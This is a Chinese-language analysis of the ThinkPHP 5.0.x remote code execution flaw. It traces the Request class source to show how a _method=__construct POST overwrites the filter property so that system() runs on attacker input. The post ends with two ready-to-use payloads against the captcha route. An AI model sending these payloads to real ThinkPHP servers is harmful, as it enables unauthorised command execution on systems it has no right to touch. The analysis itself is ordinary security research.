ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析
首先借用师傅的一张图来梳理一下流程
call_user_func
调用system
造成rce
梳理思路:
$this->method
可控导致可以调用__contruct()
覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行$request->param()
,并且还有$dispatch['type']
等于controller
或者 method
时会执行$request->param()
,而$request->param()
会进入到input()
方法,在这个方法中将被覆盖的filter
回调call_user_func()
,造成rce
POC1
在tp当中程序的开始是从App.php
开始的,在run
方法当中,首先是经过$dispatch = self::routeCheck($request, $config)
检查调用的路由,而在这个方法当中存在调用了Route::check
在这个方法当中,又存在了$method = strtolower($request->method());
调用method方法他会因此进入Request.php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
$method
默认为False
进入分支条件
$this->method = strtoupper($_POST[Config::get('var_method')]);
这句话比较危险,在这个类中var_method
对应了_method
,因此我们只要post的方式传入这个参数,即可进入分支条件$this->{$this->method}($_POST);
从而通过这句话执行类的任意函数,看看我们传入的参数_method=__construct&filter[]=system&method=get&get[]=whoami
因此他会调用__construct
,里面的foreach循环导致变量的覆盖
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
实现了变量覆盖,在method
方法结束后,返回的$this->method
值应为get
这样才能不出错,所以payload中有个method=get
继续跟踪关键语句
进入exec方法,由于captcha路由的能使$dispatch=method
从而进入Request::instance()->param()
。
如上方法中$this->param
通过array_merge
将当前请求参数和URL地址中的参数合并。
我们跟进get方法
,由于前面变量覆盖导致get是有值的
get = {array} [0]
0 = whoami
它因此会调用input方法,也因此返回了get数组的值
之后$this->param
通过array_merge
值变成如下
之后再次进入input方法
进入
发现是获取filter参数的方法,由于之前的变量覆盖
filter = {array} [0]
0 = system
通过array_walk_recursive
为数组中的元素调用filterValue
方法
之后游戏结束,hhh挺有意思的
给出payload
http://xxxxxx.xxx/public/?s=captcha
Body
_method=__construct&filter[]=system&method=get&get[]=whoami
POC 2
我们发现一个有趣的地方
再跟进,进入了server方法
重点来了,这里面居然也有input方法,hhh
因此利用前面的__construct
,可以通过传入server[REQUEST_METHOD]=dir
,使得在经过foreach
循环时置$data
值为dir
,此后调用getFilter
,同样实现RCE:
给出payload
http://xxxxxx.xxx/public/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami